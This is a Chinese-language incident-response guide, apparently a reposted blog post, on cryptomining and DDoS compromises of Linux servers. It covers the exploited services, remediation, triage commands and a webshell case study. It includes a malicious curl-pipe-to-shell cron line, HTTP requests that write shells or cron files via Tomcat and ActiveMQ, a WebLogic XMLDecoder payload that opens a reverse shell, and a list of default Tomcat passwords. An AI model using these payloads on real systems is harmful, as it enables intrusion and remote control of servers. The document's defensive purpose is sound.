哪种修复redis未授权访问漏洞的方法是相对不安全的_关于Linux挖矿、DDOS等应急事件处置方法...
前言
從去年六月份到現(xiàn)在做的應急響應、事件分析大大小小的做了數(shù)百個,主要遇到的有挖礦、DDoS、短信接口盜刷、用戶接口泄漏、越權信息獲取、掛黑頁、刪數(shù)據(jù)等。本文只針對自己做的應急響應中的挖礦和DDoS兩類做一下總結及自己的處置方法,幫助運維等相關人員在遇到之后能夠快速響應、處置。文章有不足之處歡迎大家指出、補充。
0x01 應急事件處理流程是什么?
服務器安全排查
- webshell 查找
- 木馬病毒查找和清理
- 惡意進程、網(wǎng)絡連接和自啟任務等清理
問題事件分析
- 溯源事件緣由、黑客攻擊途徑
應用系統(tǒng)安全漏洞排查
- 應用安全漏洞排查
0x02 攻擊者進行挖礦、DDoS利用的漏洞有哪些?
1、未授權訪問
未授權訪問在我所處置的應急響應事件中所占的比重最大,主要分為以下幾種:
redis未授權訪問主要被用來進行挖礦,一般手段是通過redis寫入計劃任務,基本上都是形如:/bin/sh -c /usr/bin/curl -sL https://lnk0.com/VhscA1|sh,直接進行挖礦、ddos等。
排查方法:
修復方法:
- 綁定本地訪問:bind 127.0.0.1
- 添加認證:requirepass http://www.secpulse.com
- redis-cli -h host -p port
memcache未授權訪問主要被用來進行DDoS,在今年三月份爆發(fā),攻擊者利用memcached協(xié)議,發(fā)送大量帶有被害者IP地址的UDP數(shù)據(jù)包給放大?主機,然后放大?主機對偽造的IP地址源做出大量回應,形成分布式拒絕服務攻擊,從而形成DRDoS反射。
排查方法:
修復方法:
- 設置memchached只允許本地訪問
- 禁止外網(wǎng)訪問Memcached 11211端口
- 編譯時加上–enable-sasl,啟用SASL認證
- nc host port
docker未授權訪問主要被用來進行挖礦,通過掛載宿主機的/etc/、/var/spool/cron/等目錄,之后將相關挖礦的腳本、命令等寫入到/etc/crontab,/var/spool/cron/crontabs/root中。
排查方法:
修復方法:
- 在不必需的情況下,不要啟用docker的remote api服務
- 在 docker api 服務器前面加一個代理,例如 nginx,設置 401 認證
- curl http://IP:2375/containers/json
k8s未授權訪問主要被用來挖礦,API Server 默認會開啟兩個端口:8080和 6443。其中 8080 端口無需認證,6443 端口需要認證,且有 TLS 保護,直接訪問8080端口會返回可用的API列表。訪問dashboard 頁面,可以創(chuàng)建、修改、刪除容器,查看日志等。攻擊者利用的流程大體為:創(chuàng)建新的容器 -> 掛載宿主機目錄 -> 寫 /etc/crontab定時任務進行挖礦。
排查方法:
修復方法:
- 配置安全組、防火墻等,禁止敏感端口對外開放
- 為管理端添加認證
- curl http://IP:8080/
2、Tomcat
Tomcat目前常被利用的有:
- Tomcat PUT任意文件寫入漏洞(CVE-2017-12615)
排查方法:
直接發(fā)送以下數(shù)據(jù)包即可在Web根目錄寫入shell
PUT /test.jsp/ HTTP/1.1
Host: ip:port
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
test
- Tomcat弱口令部署war包getshell
排查方法:
查看tomcat管理控制臺是否存在如下弱口令:
用戶名
密碼
tomcat
tomcat
admin
j5Brn9
admin
admin
admin
tomcat
role
changethis
role1
role1
root
root
root
changethis
role1
tomcat
both
tomcat
tomcat
changethis
修復方法:
- 嚴禁弱口令,使用數(shù)字+字母+特殊字符的十位以上強密碼
- 及時升級Tomcat補丁
- 安全組、防火墻等設置訪問白名單
3、ActiveMQ
ActiveMQ目前常被利用的有:
- ActiveMQ反序列化命令執(zhí)行(CVE-2015-5254)
默認開啟61616和8161兩個端口。其中61616是工作端口,消息在這個端口進行傳遞;8161是Web管理頁面端口。攻擊者利用的流程為:構造可執(zhí)行命令的序列化對象 -> 作為一個消息,發(fā)送給目標61616端口 ->訪問web管理頁面,讀取消息,觸發(fā)漏洞
排查方法:
下載jmet的jar文件
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/activemq" -Yp ROME IP 61616
- 訪問:http://ip:8161/admin/browse.jsp?JMSDestination=event看到這個隊列中所有消息
點擊查看這條消息即可觸發(fā)命令執(zhí)行
- ActiveMQ fileserver任意文件寫入漏洞(CVE-2016-3088)
ActiveMQ的web控制臺8161端口分三個應用,admin、api和fileserver,其中admin是管理員頁面,api是接口,fileserver是儲存文件的接口;admin和api需要登錄后才能使用,fileserver無需登錄。目前見到的是直接寫入cron挖礦,簡單粗暴!
排查方法:
PUT /fileserver/test.txt HTTP/1.1
Host: ip:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 4
test
- 寫入到計劃任務
MOVE /fileserver/text.txt HTTP/1.1
Destination: file:///etc/cron.d/root
Host: ip:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0
修復方法:
- 嚴禁弱口令,使用數(shù)字+字母+特殊字符的十位以上強密碼
- 及時升級ActiveMQ補丁
- 安全組、防火墻等設置訪問白名單
4、爆破
主要是Windows3389、Linux ssh爆破,爆破成功之后直接執(zhí)行命令進行挖礦、DDoS。
排查方法:
網(wǎng)上搜索自己的密碼是否被公開活在黑客字典中
修復方法:
- 嚴禁弱口令,使用數(shù)字+字母+特殊字符的十位以上強密碼
- 安全組、防火墻等設置白名單訪問
5、Struts2
利用Struts2反序列化命令執(zhí)行,直接執(zhí)行相關命令。
排查方法:
搜索網(wǎng)上一鍵掃描struts2漏洞的工具進行檢測
修復方法:
- 及時升級Struts2相關補丁
6、Java RMI命令執(zhí)行
RMI服務的默認開放1099端口,且暴露在公網(wǎng)中,并且恰好使用了Apache Commons Collections的缺陷版本,可被直接利用來進行任意命令執(zhí)行。
排查方法:
使用nmap進行端口掃描
修復方法:
- 升級相應缺陷版本
- 安全組、防火墻等設置拒絕RMI端口訪問
7、Weblogic
目前見到的主要被利用的是Weblogic wls-wsat XMLDecoder反序列化漏洞(CVE-2017-10271)。
Weblogic的WLS Security組件對外提供webservice服務,其中使用了XMLDecoder來解析用戶傳入的XML數(shù)據(jù),在解析的過程中出現(xiàn)反序列化漏洞,導致可執(zhí)行任意命令。
排查方法:
發(fā)送如下數(shù)據(jù)包,注意其中反彈shell的語句,需要進行編碼,否則解析XML的時候將出現(xiàn)格式錯誤:
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: IP:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.2.11/8080 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
修復方法:
- 升級weblogic相關補丁到最新版本
- 安全組、防火墻等設置相關敏感端口白名單訪問
0x03 應急響應快速排查步驟
以Linux為例,以下相關步驟只針對挖礦、DDoS相關安全事件的排查,以便快速、高效解決問題。其他安全事件按照通用事件排查步驟即可。
檢查進程及文件
top -c : 快速查看進程信息,并獲取進程文件位置
kill -9 PID : 殺死進程
根據(jù)惡意進程、文件特征如:文件名、文件大小、文件創(chuàng)建時間進行全盤搜索
grep -rni "shell.name" * : 根據(jù)文件名特征查找
find / -size 1223123c : 根據(jù)文件大小特征查找
find / -mtime 1 -name * : 根據(jù)文件創(chuàng)建時間查找
lsof -p PID:查看進程占用信息
cd /proc/PID : 進入到進程中
cat * |strings -n 5 |more : 讀取該進程內存中的信息
檢測網(wǎng)絡
lsof -i:5000 : 查看5000端口的占用情況
netstat -nap : 查看不正常端口
netstat -an | grep tcp | awk '{print $5}' : 查看TCP連接
netstat -an | grep SYN | awk '{print $5}' | awk -F: '{print $1}' | sort | uniq -c | sort -nr | more : 查看SYN連接
檢查計劃任務
crontab -u root -l : 查看root用戶的計劃任務
cat /etc/crontab : 查看/etc/crontab
ls -al /etc/cron.* : 查看cron文件是否變化的詳細信息
ll /var/spool/cron/ : 查看/var/spool/cron/
檢查系統(tǒng)命令
ls -alt /bin/ | head -n 10ls -alt /usr/sbin/ | head -n 10ls -alt /usr/bin/ | head -n 10
Webshell
1、河馬
2、自寫腳本(推薦,因為可根據(jù)情況,自己加特征等)
使用殺毒軟件
ClamAV
掃描:clamscan -r /usr —max-dir-recursion=5 -l /tmp/clamav.log移除:clamscan -r —remove /usr/bin/
rkhunter
rkhunter --propupdrkhunter --check
注意事項
1、一定要查看系統(tǒng)命令是否被替換,否則所做的都是一切徒勞。。。
2、若系統(tǒng)替換可用其他代替,如:ps使用top,netstat使用ss等
3、lsof -n |grep delete 查找已經(jīng)刪除但是還在使用的文件
4、留意下是否有SSH后門
5、注意是否存在隱藏進程
6、實在無法刪除可使用chattr +i鎖定相應計劃任務文件
7、實在不行修改把curl ,wget ,lynx 文件全局重命名
附:記一次事件分析詳細排查步驟
1、事件緣由
客戶反饋服務器D盤里面的文件被刪除了,要求排查什么原因導致的,什么漏洞引發(fā)的。
2、事件分析
前期準備工作:端口掃描、黑盒漏掃、弱口令、是否存在命令執(zhí)行相關漏洞等,未果,進入服務器排查。
D盾全盤webshell查殺發(fā)現(xiàn)惡意文件(中間的一些用戶,組,進程,日志排查步驟等我就不說了)
webshell名為enshell.aspx
根據(jù)該webshell文件名查找日志
定位記錄該惡意文件的日志信息,找到攻擊者IP
攻擊者IP:110.87.13.61
威脅情報來一波
根據(jù)IP定位黑客攻擊點
定位記錄詳情
定位漏洞源頭
至此,事件分析結束。
3、事件結論
由此可知:黑客先利用/xxx/upload2Server/接口上傳了惡意文件,再利用/xxx/checkfileexists/判斷文件是否上傳成功,最后利用,/xxx/executecmd/執(zhí)行了該惡意文件。
總結
以上是生活随笔為你收集整理的哪种修复redis未授权访问漏洞的方法是相对不安全的_关于Linux挖矿、DDOS等应急事件处置方法...的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: zenmap nmap输出无显示_液晶显
- 下一篇: python操作mysql_使用Pyth